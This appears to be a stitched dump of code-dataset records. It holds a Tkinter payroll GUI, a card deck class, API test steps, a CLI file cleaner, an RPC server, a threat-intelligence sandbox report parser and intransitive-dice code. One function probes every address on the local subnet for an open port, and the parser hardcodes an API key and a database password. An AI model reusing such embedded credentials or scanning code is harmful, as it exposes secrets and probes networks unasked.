tkinter.simpledialog\r\nimport tkinter.messagebox\r\nfrom tkinter import *\r\nimport csv\r\n\r\n#creating window using Tkinter libraies\r\nroot = Tk()\r\nroot.title(\"Staff Payment Record System\")\r\nroot.geometry('1370x720+0+0')\r\nroot.maxsize(width=1370, height=720)\r\nroot.minsize(width=1370, height=720)\r\n\r\n#creating frames with in the window parameter.\r\nTops = Frame(root, width=1350, height=50, bd=8, bg=\"light gray\")\r\nTops.pack(side=TOP)\r\n#frame to hold the title of the applicaiton.\r\nf1 = Frame(root, width=600, height=600, bd=8, bg=\"light gray\")\r\nf1.pack(side=LEFT)\r\n#frame to hold the textbox and time line.\r\nf2 = Frame(root, width=300, height=700, bd=8, bg=\"light gray\")\r\nf2.pack(side=RIGHT)\r\n#frame to hold the entry widget\r\nfla = Frame(f1, width=600, height=200, bd=8, bg=\"light gray\")\r\nfla.pack(side=TOP)\r\n#frame to hold the buttons\r\nflb = Frame(f1, width=300, height=600, bd=8, bg=\"light gray\")\r\nflb.pack(side=TOP)\r\n#creating the main title information label\r\nlbl_information = Label(Tops, font=('arial', 45, 'bold'), text=\"Staff Payment Record System \", relief=GROOVE, bd=10, bg=\"Dark Gray\", fg=\"Black\")\r\nlbl_information.grid(row=0, column=0)\r\n\r\n#function that works with the exit button, prompts window for 'yes' or 'no' for closing window.\r\ndef Exit():\r\n wayOut = tkinter.messagebox.askyesno(\"Staff Payment Record System\", \"Do you want to exit the system\")\r\n if wayOut > 0:\r\n root.destroy()\r\n return\r\n\r\n#funciton to clear the entry box.\r\ndef Reset():\r\n FullName.set(\"\")\r\n Month.set(\"\")\r\n Work.set(\"\")\r\n leave.set(\"\")\r\n Payable.set(\"\")\r\n Taxable.set(\"\")\r\n NetPayable.set(\"\")\r\n GrossPayable.set(\"\")\r\n Bonus.set(\"\")\r\n Designation.set(\"\")\r\n PhoneNumber.set(\"\")\r\n txtPaymentSlip.delete(\"1.0\", END)\r\n\r\n#function to get inputs from the entry box and insert in the text box.\r\ndef InformationEntry():\r\n txtPaymentSlip.delete(\"1.0\", END)\r\n txtPaymentSlip.insert(END, \"\\t\\tPay Slip\\n\\n\")\r\n txtPaymentSlip.insert(END, \"Full_Name :\\t\\t\" + FullName.get() + \"\\n\\n\")\r\n txtPaymentSlip.insert(END, \"Month :\\t\\t\" + Month.get() + \"\\n\\n\")\r\n txtPaymentSlip.insert(END, \"Designation :\\t\\t\" + Designation.get() + \"\\n\\n\")\r\n txtPaymentSlip.insert(END, \"Phone_Number :\\t\\t\" + PhoneNumber.get() + \"\\n\\n\")\r\n txtPaymentSlip.insert(END, \"Days_Worked :\\t\\t\" + Work.get() + \"\\n\\n\")\r\n txtPaymentSlip.insert(END, \"Net_Payable :\\t\\t\" + NetPayable.get() + \"\\n\\n\")\r\n txtPaymentSlip.insert(END, \"Absent :\\t\\t\" + leave.get() + \"\\n\\n\")\r\n txtPaymentSlip.insert(END, \"Tax_Paid :\\t\\t\" + Taxable.get() + \"\\n\\n\")\r\n txtPaymentSlip.insert(END, \"Payable :\\t\\t\" + Payable.get() + \"\\n\\n\")\r\n txtPaymentSlip.insert(END, \"Bonus :\\t\\t\" + Bonus.get() + \"\\n\\n\")\r\n\r\n#function to save data to selected file.\r\ndef Save():\r\n while True:\r\n messagebox.showinfo(\"\",\"select a file\")\r\n filepath = filedialog.askopenfilename()\r\n #exception handling for file if selected file or not selected file.\r\n try:\r\n with open(filepath,'a') as txtfile:\r\n writer = csv.writer(txtfile)\r\n\r\n name = \"Full_Name :\" + FullName.get()\r\n mnth = \"Month :\" + Month.get()\r\n position = \"Designation :\" + Designation.get()\r\n phone = \"Phone_Number :\" + PhoneNumber.get()\r\n worked = \"Days_Worked :\" + Work.get()\r\n payable = \"Net_Payable :\" + NetPayable.get()\r\n bonos = \"Bonus :\" + Bonus.get()\r\n leaved = \"Absent :\" + leave.get()\r\n tax = \"Tax_Paid :\" + Taxable.get()\r\n pay = \"Payable :\" + Payable.get()\r\n line = \"\\n***************************************\\n\"\r\n #writing the data to the text box.\r\n writer.writerow([name])\r\n writer.writerow([mnth])\r\n writer.writerow([position])\r\n writer.writerow([phone])\r\n writer.writerow([worked])\r\n writer.writerow([payable])\r\n writer.writerow([bonos])\r\n writer.writerow([leaved])\r\n writer.writerow([tax])\r\n writer.writerow([pay])\r\n writer.writerow([line])\r\n\r\n messagebox.showinfo(\"\",\"File saved!!!!!\")\r\n txtfile.close()\r\n #root.quit()\r\n return\r\n #error occurs when file not selected.\r\n except FileNotFoundError:\r\n messagebox.showerror(\"Error\", \"no file was selected, try again\")\r\n return\r\n\r\n# list of Variables\r\nFullName = StringVar()\r\nMonth = StringVar()\r\nleave = StringVar()\r\nWork = StringVar()\r\nPayable = StringVar()\r\nTaxable = StringVar()\r\nNetPayable = StringVar()\r\nGrossPayable = StringVar()\r\nBonus = StringVar()\r\nDesignation = StringVar()\r\nPhoneNumber = StringVar()\r\nTimeOfOrder = StringVar()\r\nDateOfOrder = StringVar()\r\nDateOfOrder.set(time.strftime(\"%d/%m/%Y\"))\r\n\r\n# Label Widget, configuring its dimensions.\r\n\r\nlabelFirstName = Label(fla, text=\"Full_Name\", font=('arial', 16, 'bold'), bd=20, fg=\"black\", bg=\"light gray\").grid(row=0, column=0)\r\n\r\nlabelMonth = Label(fla, text=\"Month\", font=('arial', 16, 'bold'), bd=20, fg=\"black\", bg=\"light gray\").grid(row=0, column=2)\r\n\r\nlabelDesignation = Label(fla, text=\"Designation\", font=('arial', 16, 'bold'), bd=20, fg=\"black\", bg=\"light gray\").grid(row=1,\r\n column=0)\r\nlabelPhoneNumber = Label(fla, text=\"Phone_Number\", font=('arial', 16, 'bold'), bd=20, fg=\"black\", bg=\"light gray\").grid(row=1,\r\n column=2)\r\nlabelHoursWorked = Label(fla, text=\"Days_Worked\", font=('arial', 16, 'bold'), bd=20, fg=\"black\", bg=\"light gray\").grid(\r\n row=2, column=0)\r\nlabelHourlyRate = Label(fla, text=\"Absent\", font=('arial', 16, 'bold'), bd=20, fg=\"black\", bg=\"light gray\").grid(\r\n row=2, column=2)\r\nlabelTax = Label(fla, text=\"Tax\", font=('arial', 16, 'bold'), bd=20, anchor='w', fg=\"black\", bg=\"light gray\").grid(row=3,\r\n column=0)\r\nlabelOverTime = Label(fla, text=\"Bonus\", font=('arial', 16, 'bold'), bd=20, fg=\"black\", bg=\"light gray\").grid(row=3,\r\n column=2)\r\nlabelGrossPay = Label(fla, text=\"GrossPay\", font=('arial', 16, 'bold'), bd=20, fg=\"black\", bg=\"light gray\").grid(row=4,\r\n column=0)\r\nlabelNetPay = Label(fla, text=\"Net_Pay\", font=('arial', 16, 'bold'), bd=20, fg=\"black\", bg=\"light gray\").grid(row=4,\r\n column=2)\r\n\r\n# Entry Widget and dimension configuration\r\n\r\ntxtFullname = Entry(fla, textvariable=FullName, font=('arial', 16, 'bold'), bd=16, width=22, justify='left')\r\ntxtFullname.grid(row=0, column=1)\r\n\r\ntxtMonth = Entry(fla, textvariable=Month, font=('arial', 16, 'bold'), bd=16, width=22, justify='left')\r\ntxtMonth.grid(row=0, column=3)\r\n\r\ntxtDesignation = Entry(fla, textvariable=Designation, font=('arial', 16, 'bold'), bd=16, width=22, justify='left')\r\ntxtDesignation.grid(row=1, column=1)\r\n\r\ntxtdays_worked = Entry(fla, textvariable=Work, font=('arial', 16, 'bold'), bd=16, width=22, justify='left')\r\ntxtdays_worked.grid(row=2, column=1)\r\n\r\ntxtleave = Entry(fla, textvariable=leave, font=('arial', 16, 'bold'), bd=16, width=22, justify='left')\r\ntxtleave.grid(row=2, column=3)\r\n\r\ntxtPhoneNumber = Entry(fla, textvariable=PhoneNumber, font=('arial', 16, 'bold'), bd=16, width=22, justify='left')\r\ntxtPhoneNumber.grid(row=1, column=3)\r\n\r\ntxtGrossPayment = Entry(fla, textvariable=Payable, font=('arial', 16, 'bold'), bd=16, width=22, justify='left')\r\ntxtGrossPayment.grid(row=4, column=1)\r\n\r\ntxtNetPayable = Entry(fla, textvariable=NetPayable, font=('arial', 16, 'bold'), bd=16, width=22, justify='left')\r\ntxtNetPayable.grid(row=4, column=3)\r\n\r\ntxtTaxable = Entry(fla, textvariable=Taxable, font=('arial', 16, 'bold'), bd=16, width=22, justify='left')\r\ntxtTaxable.grid(row=3, column=1)\r\n\r\ntxtBonus = Entry(fla, textvariable=Bonus, font=('arial', 16, 'bold'), bd=16, width=22, justify='left')\r\ntxtBonus.grid(row=3, column=3)\r\n\r\n# Text Widget configuration\r\n\r\npayslip = Label(f2, textvariable=DateOfOrder, font=('arial', 21, 'bold'), fg=\"black\", bg=\"dark grey\").grid(row=0,\r\n column=0)\r\ntxtPaymentSlip = Text(f2, height=22, width=34, bd=16, font=('arial', 13, 'bold'), fg=\"black\", bg=\"white\")\r\ntxtPaymentSlip.grid(row=1, column=0)\r\n\r\n# buttons and configuration.\r\n\r\nButtonSalary = Button(flb, text='Save', padx=16, pady=16, bd=15, font=('arial', 16, 'bold'), relief=\"groove\", width=14, fg=\"black\",\r\n bg=\"dark gray\", command=Save).grid(row=0, column=0)\r\n\r\nButtonReset = Button(flb, text='Reset', padx=16, pady=16, bd=15, font=('arial', 16, 'bold'), relief=\"groove\", width=14, command=Reset,\r\n fg=\"black\", bg=\"dark gray\").grid(row=0, column=1)\r\n\r\nButtonPaySlip = Button(flb, text='View Payslip', padx=16, pady=16, bd=15, font=('arial', 16, 'bold'), relief=\"groove\", width=14,\r\n command=InformationEntry, fg=\"black\", bg=\"dark gray\").grid(row=0, column=2)\r\n\r\nButtonExit = Button(flb, text='Exit System', padx=16, pady=16, bd=15, font=('arial', 16, 'bold'), relief=\"groove\", width=14, command=Exit,\r\n fg=\"black\", bg=\"dark gray\").grid(row=0, column=3)\r\n\r\n#creating loop to hold\r\nroot.mainloop()\r\n","repo_name":"ginnoro2/Staff-Payment-System","sub_path":"coursework_2/try.py","file_name":"try.py","file_ext":"py","file_size_in_byte":9916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"16293522293","text":"'''\r\nA deck of Cards, 52 total, 13 of each suit\r\n'''\r\n#from math import random\r\nfrom random import shuffle\r\nfrom Card import Card\r\n\r\nclass Deck():\r\n\r\n def __init__(self):\r\n \r\n self.deck = []\r\n self.freshdeck()\r\n\r\n def freshdeck(self):\r\n '''\r\n Creates a fresh deck of 52 cards\r\n '''\r\n cardface = ['2','3','4','5','6','7','8','9','10','J','Q','K','A']\r\n cardvalues = [2,3,4,5,6,7,8,9,10,10,10,10,1]\r\n cardsuits = ['S','C','D','H']\r\n\r\n cardfaceandvalues = [(cardface[i],cardvalues[i]) for i in range(len(cardface))]\r\n\r\n self.deck = []\r\n\r\n # insert a Card object for each suit,face,value combination into the deck\r\n \r\n for suit in cardsuits: \r\n for face, value in cardfaceandvalues:\r\n self.deck.append(Card(suit,face,value))\r\n #for face in cardface: \r\n # for value in cardvalues:\r\n\r\n # shuffle the deck\r\n self.shuffle()\r\n\r\n def shuffle(self):\r\n '''\r\n Shuffle deck using shuffle function from random module\r\n '''\r\n shuffle(self.deck)\r\n\r\n #randomdeck = []\r\n #for num in range(len(self.deck)):\r\n # randomdeck.append(self.deck[num])\r\n # self.deck[num]\r\n\r\n def nextcard(self):\r\n '''\r\n Pops a Card from the deck\r\n If the deck has < 20 Cards left, creates a new shuffled deck\r\n '''\r\n if len(self.deck) < 20:\r\n self.freshdeck()\r\n return self.deck.pop()\r\n\r\n","repo_name":"indless/BlackJack","sub_path":"Deck.py","file_name":"Deck.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"20448178878","text":"from behave import given, when, then\nfrom src.conf.config import Settings\n\n\n@given(u'I choose \"{username}\" for username')\ndef step_choose_username(context, username):\n context.vars[\"chosen_rider\"].username = username\n\n\n@given(u'I choose \"{fname}\" for first name')\ndef step_choose_first_name(context, fname):\n context.vars[\"chosen_rider\"].first_name = fname\n\n\n@given(u'I choose \"{lname}\" for last name')\ndef step_choose_last_name(context, lname):\n context.vars[\"chosen_rider\"].last_name = lname\n\n\n@given(u'I choose \"{some_email}\" for email')\ndef step_choose_email(context, some_email):\n context.vars[\"chosen_rider\"].email = some_email\n\n\n@given(u'I choose \"{some_phone_number}\" for phone number')\ndef step_choose_phone_number(context, some_phone_number):\n context.vars[\"chosen_rider\"].phone_number = some_phone_number\n\n\n@given(u'I choose {:f} as preferred location latitude')\ndef step_choose_preferred_location_latitude(context, latitude):\n context.vars[\"chosen_rider\"].preferred_location_latitude = latitude\n\n\n@given(u'I choose {:f} as preferred location longitude')\ndef step_choose_preferred_location_longitude(context, longitude):\n context.vars[\"chosen_rider\"].preferred_location_longitude = longitude\n\n\n@given(u'I choose \"{some_place}\" as preferred location name')\ndef step_choose_preferred_location_name(context, some_place):\n context.vars[\"chosen_rider\"].preferred_location_name = some_place\n\n\n@given(u'I register as a rider')\ndef step_register_as_rider_with_chosen_args(context):\n rider = context.vars['chosen_rider']\n req_body = {\n \"username\": rider.username,\n \"first_name\": rider.first_name,\n \"last_name\": rider.last_name,\n \"email\": rider.email,\n \"phone_number\": rider.phone_number,\n \"preferred_location_latitude\": rider.preferred_location_latitude,\n \"preferred_location_longitude\": rider.preferred_location_longitude,\n \"preferred_location_name\": rider.preferred_location_name,\n }\n response = context.client.post(\n Settings().API_V1_STR + '/riders',\n json=req_body,\n )\n assert response.status_code == 201\n\n\n@when(u'I change the first name of rider with email \"{email}\" to \"{new_name}\"')\ndef step_change_rider_first_name(context, email, new_name):\n response = context.client.patch(\n Settings().API_V1_STR + f'/riders/{email}/status',\n json={\n \"first_name\": new_name\n }\n )\n assert response.status_code == 202\n\n\n@then(u'The first name of rider with email \"{email}\" is updated to \"{name}\"')\ndef step_check_rider_first_name_changed(context, email, name):\n response = context.client.get(\n f'{Settings().API_V1_STR}/users/{email}'\n )\n assert response.status_code == 200\n assert response.json()['first_name'] == name\n","repo_name":"grupo4taller2/service-users","sub_path":"test/features/steps/riders_edit_steps.py","file_name":"riders_edit_steps.py","file_ext":"py","file_size_in_byte":2788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"72097645273","text":"import socket\n\ndef ConnectToFirst(port:int):\n sck = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\n sck.connect((\"8.8.8.8\",80))\n ip = \".\".join(str(sck.getsockname()[0]).split(\".\")[:3])\n for i in range(0,256):\n new_ip = ip+\".\"+str(i)\n try:\n sck_t = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n sck_t.settimeout(0.2)\n sck_t.connect((new_ip,port))\n print(f'Connected to {new_ip} on port {port}')\n sck_t.settimeout(None)\n return sck_t\n except Exception as exp:\n print(f'Unreachable : {new_ip}',end='\\r')","repo_name":"devnev39/Transfer-py","sub_path":"Client/Connector.py","file_name":"Connector.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"71699574233","text":"import typer, os, shutil\nfrom typing import Optional\n\nfrom cli_scripts import __appname__, __version__\n\napp = typer.Typer()\n\n# let's define a function that access every file within a directory\n# recursively and if it matchnes the pattern remove it.\ndef _access_and_delete_files(directory: str, pattern: str) -> None:\n for file in os.listdir(directory):\n if os.path.isdir(file):\n _access_and_delete_files(file)\n else:\n if pattern in file:\n os.remove(file)\n typer.echo(f\"File {file} removed\")\n\n\n@app.command(help = \"Clean a directory\", name = \"clean\", no_args_is_help = True)\ndef clean_directory(\n directory: str = typer.Argument(\n ...,\n help=\"Directory to clean\"\n ),\n folder_to_remove: Optional[str] = typer.Option(\n None,\n \"--folder\",\n \"-f\",\n help=\"I will remove any folder in this directory with this name or name containing this string\"\n ),\n file_to_remove: Optional[str] = typer.Option(\n None,\n \"--file\",\n \"-F\",\n help=\"I will remove any file in this directory with this name\"\n )\n ) -> None:\n # Access the directory\n if not os.path.isdir(directory):\n typer.echo(f\"Directory {directory} does not exist\")\n raise typer.Exit(1)\n\n # Access the directory\n os.chdir(directory)\n\n # if not folder remove all folders in directory\n if not folder_to_remove and file_to_remove:\n # remove all files within each folder in directory\n _access_and_delete_files(directory)\n \n elif folder_to_remove and not file_to_remove:\n # remove all files within each folder in directory that matches folder_to_remove\n for folder in os.listdir(directory):\n if os.path.isdir(folder) and folder_to_remove in folder:\n shutil.rmtree(folder)\n\n elif folder_to_remove and file_to_remove:\n # remove all files within each folder in directory that matches folder_to_remove\n for folder in os.listdir(directory):\n if os.path.isdir(folder) and folder_to_remove in folder:\n _access_and_delete_files(folder, file_to_remove)\n\n else:\n typer.echo(\"You need to specify at least one option\")\n raise typer.Exit(1)\n\ndef _version_callback(value: bool):\n if value:\n typer.echo(f\"{__appname__} version {__version__}\")\n raise typer.Exit()\n\n@app.callback()\ndef main(\n version: Optional[bool] = typer.Option(\n None,\n \"--version\",\n \"-v\",\n callback=_version_callback,\n is_eager=True,\n help=\"Show version and exit\",\n )\n) -> None: return","repo_name":"Extrieve/extrieve_cli","sub_path":"cli_scripts/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":2715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"73133412951","text":"# -*- coding: utf-8 -*-\nfrom rqdata.rpc.client import *\n\nfrom six import PY2\n\nif PY2:\n import SocketServer\nelse:\n import socketserver as SocketServer\n\n\nclass RpcHandler(SocketServer.StreamRequestHandler):\n __functions = {}\n\n def handle(self):\n while self.request:\n data = recv_msg(self.request)\n if not data:\n break\n name, args, kwargs = data\n func = RpcHandler.__functions[name]\n rt = func(*args, **kwargs)\n send_msg(self.request, rt)\n\n @staticmethod\n def register(func):\n RpcHandler.__functions[func.__name__] = func\n\n\ndef hello(a):\n return 2 * a\n\n\nif __name__ == '__main__':\n host = 'localhost'\n port = 1111\n RpcHandler.register(hello)\n server = SocketServer.TCPServer((host, port), RpcHandler)\n server.serve_forever()\n","repo_name":"JaysonAlbert/rq-data","sub_path":"rqdata/rpc/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"5"} +{"seq_id":"26129114463","text":"\nimport json\nimport pymysql\n\n#获取文件检测内容\nimport json\nimport requests\n#没有network响应 考虑换沙盒环境 'sandbox_type'\n#json文件 (非api版!!没用。。)keys值:info behavior tsmam metadata screenshots static strings sigma target network signatures tags\n\n# b4b1dddc9bd36478b675c35e4d881443a2196043ddfbb88fb433cfb79c84b69a\nurl = 'https://api.threatbook.cn/v3/file/report'\nprint(\"请输入文件sha256值:\")\nsha = input()\nparams = {\n 'apikey': '44a4838848ac4f5799d1ccf1cf18519a130f43810ee0413c9a93a9acf4ed684b',\n #'sandbox_type': 'win10_sp1_enx86_office2016',\n #'query_fields':'network',\n 'sha256': sha\n}\nresponse = requests.get(url, params=params)\ndata =response.json()\ndata = data['data']\n\n#print(data['network']['hosts'])\n#读json文件\n# with open('/Users/ztxx/Desktop/HWexploit-main.zip.json') as f:\n# data = json.load(f)\nfields = {\"file_name\",\"file_type\",\"sha1\",\"md5\",\"submit_time\",\"threat_level\",\"threat_score\",\"multi_engines\"\n ,\"sandbox_type_list\",\"sandbox_behaviors\",\"multiengines_results\"}\nvalues = []\n\n# 查看文件基本信息\n# print('文件名称: '+data['summary']['file_name'])\n# print(\"文件类型: \"+data['summary']['file_type'])\n# print(\"sha1: \"+data['summary']['sha1'])\n# print(\"md5: \"+data['summary']['md5'])\n# print(\"文件提交时间: \"+data['summary']['submit_time'])\n# print(\"文件威胁等级: \"+data['summary']['threat_level'])\n# print(\"文件威胁分值: \"+str(data['summary']['threat_score']))\n# print(\"反病毒扫描引擎检出率: \"+data['summary']['multi_engines'])\n\nfile_name = data['summary']['file_name']\nfile_type = data['summary']['file_type']\nsha1 = data['summary']['sha1']\nmd5 = data['summary']['md5']\nsubmit_time = data['summary']['submit_time']\nthreat_level = data['summary']['threat_level']\nthreat_score = (data['summary']['threat_score'])\nmulti_engines = data['summary']['multi_engines']\n#print(\"沙箱运行环境: \")\nlist_env = []\nfor i in data['summary']['sandbox_type_list']: list_env.append(i)\n\n\n# 反病毒引擎检测\nlist_antvir=[]\nfor key,value in data['multiengines']['result'].items():\n #print(\"引擎:\"+key+\" 检出:\"+value)\n list2 =[]\n list2.append(key)\n list2.append(value)\n list_antvir.append(list2)\n#print(\"扫描时间: \"+data['multiengines']['scan_time'])\n\n# 行为检测\n# 严重程度1为通用行为 2位可疑行为 3位高危行为\n#print('行为检测')\nlist_behavior =[]\nfor item in data['signature']:\n des = json.loads(item['description'])\n list1 = []\n list1.append(item['name'])\n list1.append(des['cn'])\n list1.append(str(item['severity']))\n list_behavior.append(list1)\n #print('异常名称: '+item['name']+' \\n说明: '+des['cn'] +'\\n严重程度:'+str(item['severity'])+'\\n')\n\nvalues.append(sha1)\nvalues.append(file_name)\nvalues.append(file_type)\nvalues.append(md5)\nvalues.append(submit_time)\nvalues.append(threat_level)\nvalues.append(multi_engines)\nlist_env = \",\".join([str(x) for x in list_env])\nvalues.append(list_env)\nvalues.append(threat_score)\nlist_behavior= \",\".join([str(x) for x in list_behavior])\nvalues.append(list_behavior)\n\nlist_antvir= \",\".join([str(y) for y in list_antvir])\nvalues.append(list_antvir)\nvaluesTuple = tuple(values)\n\n# 连接数据库\nconn = pymysql.connect(\n host = 'localhost',\n #端口号\n port = 3306,\n #用户名\n user = 'root',\n #密码\n passwd = '12345678',\n #数据库名称\n db = 'test_sandbox',\n #字符编码格式\n charset = 'utf8')\ncur = conn.cursor()\n\n# with open('../db/sandbox_file_entity.sql', encoding=\"utf-8\") as f:\n# cur.execute(f.read().encode('utf8'))\n# 拼接values为:%s, %s\nvalues = ', '.join(['%s']*len(fields)) \n\n# 插入的表名\ntable = 'sandbox_file_entity'\n\n# 插入sql语句\ninsertSql = 'INSERT INTO {table} VALUES ({values})'.format(table=table, values=values)\n#执行建表与插入sql\n#cur.execute(createTableSql)\ncur.execute(insertSql,valuesTuple)\n\n# 提交commit\nconn.commit()\n\n# 关闭数据库连接\nconn.close()\n \n\nprint(\"数据更新完毕!!!\")\n\n","repo_name":"1hunter0/SI","sub_path":"back-end/parser/sandbox_parser.py","file_name":"sandbox_parser.py","file_ext":"py","file_size_in_byte":4043,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"298626090","text":"\"\"\"\nFull explanation:\nhttps://singingbanana.com/dice/article.htm\n\n\n\"\"\"\nimport binascii\nfrom itertools import product\nfrom typing import Callable, TypeVar, List\n\nimport numpy as np\n\nfrom more_itertools import unique_everseen\n\nfrom p_tqdm import p_map\nfrom intransidice import graphs\n\nT = TypeVar(\"T\")\n\nsyshash = \"any\"\n\n\ndef cache_or_recompute(item: str, c: Callable[[], T]) -> T:\n item = f\"{item}.{syshash}.npy\"\n try:\n return np.load(item)\n except IOError:\n val = c()\n np.save(item, val)\n return val\n\n\ndef count_iterable(it):\n cnt = 0\n for e in it:\n cnt += 1\n yield e\n print(\"Iterator Count of\" ,repr(it), \"=\", cnt)\n\n\nclass Die:\n TINDEX = np.uint64\n SIDES = 6\n ALPHABET = \"123456\"\n\n @classmethod\n def set_die_type(cls, sides, alphabet):\n global syshash\n cls.SIDES = sides\n cls.ALPHABET = alphabet\n syshash = \"s{:02d}a{:02d}.{:8x}\".format(sides, len(alphabet), binascii.crc32(f\"{sides}-{alphabet}\".encode()))\n\n @classmethod\n def get_dice_count(cls):\n return len(cls.ALPHABET) ** cls.SIDES\n\n @classmethod\n def get_die_index(cls, name: str) -> TINDEX:\n S = cls.SIDES\n A = cls.ALPHABET\n B = len(A)\n return sum(A.index(c) * B ** e for e, c in enumerate(reversed(name)))\n\n @classmethod\n def get_die_name(cls, index: TINDEX) -> str:\n \"\"\" return user-friendly representation of this dice \"\"\"\n i = int(index)\n S = cls.SIDES\n A = cls.ALPHABET\n B = len(A)\n die = list(A[0] * S)\n for e in range(S):\n die[e] = A[i % B]\n i //= B\n return \"\".join(reversed(die))\n\n @classmethod\n def get_die_hash(cls, index: TINDEX) -> bytes:\n \"\"\" return minimal unique representation \"\"\"\n i = int(index)\n S = cls.SIDES\n B = len(cls.ALPHABET)\n die = [0] * S\n for e in range(S):\n die[e] = i % B\n i //= B\n return bytes(sorted(die))\n\n @classmethod\n def get_unique_dice(cls):\n B = len(cls.ALPHABET)\n def gen_unique_dice(base, digit, remaining):\n nonlocal B\n if not remaining:\n yield base\n return\n base *= B\n for d in range(digit, B):\n yield from gen_unique_dice(base + d, d, remaining - 1)\n\n all_dice = gen_unique_dice(0, 0, cls.SIDES)\n unique_dice = unique_everseen(all_dice, key=cls.get_die_hash)\n yield from unique_dice\n\n @classmethod\n def get_unique_dice_vector(cls):\n return np.fromiter(Die.get_unique_dice(), dtype=Die.TINDEX)\n\n @classmethod\n def get_two_dice_hash(cls, one: bytes):\n totals = [a + b for a, b in product(one, one)]\n return bytes(sorted(totals))\n\n @staticmethod\n def play_wdl_mat(ad1: np.ndarray, d2: bytes):\n ad2 = np.tile(list(d2), (ad1.shape[0], 1))\n\n win = np.count_nonzero(ad1 > ad2)\n loss = np.count_nonzero(ad1 < ad2)\n draw = ad1.size - win - loss\n return win, draw, loss\n\n @staticmethod\n def play_wdl(d1: bytes, d2: bytes):\n \"\"\" statistics for playing hyperdice with sides given by d1 and d2 \"\"\"\n\n ad1 = np.tile(list(d1), (len(d2), 1)).T\n return Die.play_wdl_mat(ad1, d2)\n\n\nDie.set_die_type(Die.SIDES, Die.ALPHABET)\n\n\nclass DiceHashDG:\n \"\"\"\"\n This class holds the results and the \"Win\" directed graph for a set of dice hashes, having\n played every dice against every other.\n Dice need not be actual single dice, dice_hashes can also contain \"virtual\" dice of multiple throws\n \"\"\"\n\n def __init__(self, topic: str, dice_hashes: List[bytes]) -> None:\n self.dice_hashes = {d: i for i, d in enumerate(dice_hashes)}\n self.results_sum = len(dice_hashes[0]) ** 2\n print(\"DiceHashDG: \", topic, \"playing all\", len(self.dice_hashes), \"dice states with\", self.results_sum, \"outcomes each pair\")\n self.results: np.ndarray = cache_or_recompute(f\"{topic}_x_wins_against_y\", self.calc_results)\n self.graph = self.results_to_graph(self.results)\n print(\"DiceHashDG: \", topic, \"graph contains a total of\", self.graph.size, \"outcomes\")\n\n def results_to_graph(self, results: np.ndarray):\n # wins > draw + loss\n return np.array(results > self.results_sum / 2, dtype=bool)\n\n def calc_results(self):\n # tabulate all dice pairs\n dh = list(self.dice_hashes.keys())\n\n def play_wdl_line(d1):\n ad1 = np.tile(list(d1), (len(d1), 1)).T\n # save some space by only including wins and converting in inner loop\n return np.array([Die.play_wdl_mat(ad1, d2)[0] for d2 in dh], dtype=np.uint16)\n\n data = p_map(play_wdl_line, dh)\n table = np.array(data)\n return table\n\n\nclass WinTable:\n\n def __init__(self, all_dice: np.ndarray) -> None:\n self.all_dice: np.ndarray = all_dice\n self.tidx2i_cache = {tidx: i for i, tidx in enumerate(self.all_dice)}\n print(\"WinTable: have\", len(self.all_dice), \"unique dice\")\n hashes_one = [Die.get_die_hash(d) for d in self.all_dice]\n self.throwone = DiceHashDG(\"single\", hashes_one)\n self.throwtwo = DiceHashDG(\"double\", [Die.get_two_dice_hash(d) for d in hashes_one])\n\n def tidx2i(self, idx: Die.TINDEX) -> int:\n return self.tidx2i_cache[idx]\n\n def get_result(self, hash: DiceHashDG, d1: Die.TINDEX, d2: Die.TINDEX):\n id1, id2 = self.tidx2i(d1), self.tidx2i(d2)\n w = hash.results[id1, id2]\n l = hash.results[id2, id1]\n d = hash.results_sum - w - l\n return w, d, l\n\n def beaten_by(self, ref: Die.TINDEX) -> np.ndarray:\n \"\"\" list of TIDX that always loose to this dice \"\"\"\n iref = self.tidx2i(ref)\n row = self.throwone.graph[iref]\n lst = self.all_dice[row]\n return lst\n\n\nclass DieMaker:\n\n def __init__(self):\n print(\"DieMaker Setup:\")\n print(\" Sides: %s\" % Die.SIDES)\n print(\" Values: (%d) %s\" % (len(Die.ALPHABET), Die.ALPHABET))\n\n self.all_dice: np.array = cache_or_recompute(\"all_unique_dice\", Die.get_unique_dice_vector)\n self.table = WinTable(self.all_dice)\n\n @staticmethod\n def canonical_ordering(cycle):\n pivot = np.argmax(cycle)\n return tuple(cycle[pivot:] + cycle[:pivot])\n\n def graph_cycles_2(self, dice):\n \"\"\" Return tuples in array index format \"\"\"\n yield from graphs.enumerate_fixed_len_cycles(self.table.throwone.graph, dice)\n\n def graph_cycles_filter_reversed_double(self, gcycles):\n lut2 = self.table.throwtwo.graph\n\n def check_cycle_lut(cycle):\n # check if clockwise on doubles is a loss everytime\n for d1, d2 in zip(cycle, (*cycle[1:], cycle[0])):\n d2wins = lut2[d2, d1]\n if not d2wins:\n return False\n return True\n\n for gcycle in gcycles:\n if check_cycle_lut(gcycle):\n yield gcycle\n\n def graph_cycles_to_tidx(self, gcycles):\n for gcycle in gcycles:\n yield tuple(self.all_dice[i] for i in gcycle)\n\n def graph_cycles(self, dice, extra_mask=None):\n gr1 = self.table.throwone.graph\n gr2 = self.table.throwtwo.graph\n # subgraph that contains only links that are a>b with 1 and b>1 with 2\n # FIXME: is that provably true? seems waaaay to simple. but true for 6-10-{3,4,5}...\n cyclable_graph = gr1 & gr2.T\n # only use nodes that can be a loop in this subgraph\n cyclable_2_rev = graphs.adjacency_where_can_cycle(cyclable_graph)\n if extra_mask is not None:\n cyclable_2_rev &= extra_mask\n yield from graphs.enumerate_chains(cyclable_graph, dice, cyclable_2_rev, only_cycles=True)\n\n def 